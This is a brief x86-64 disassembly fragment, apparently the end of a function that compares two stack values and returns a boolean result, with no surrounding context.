test eax, eax
je 0x180023630
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x180023632
xor al, al
add rsp, 0x20
pop rbx
ret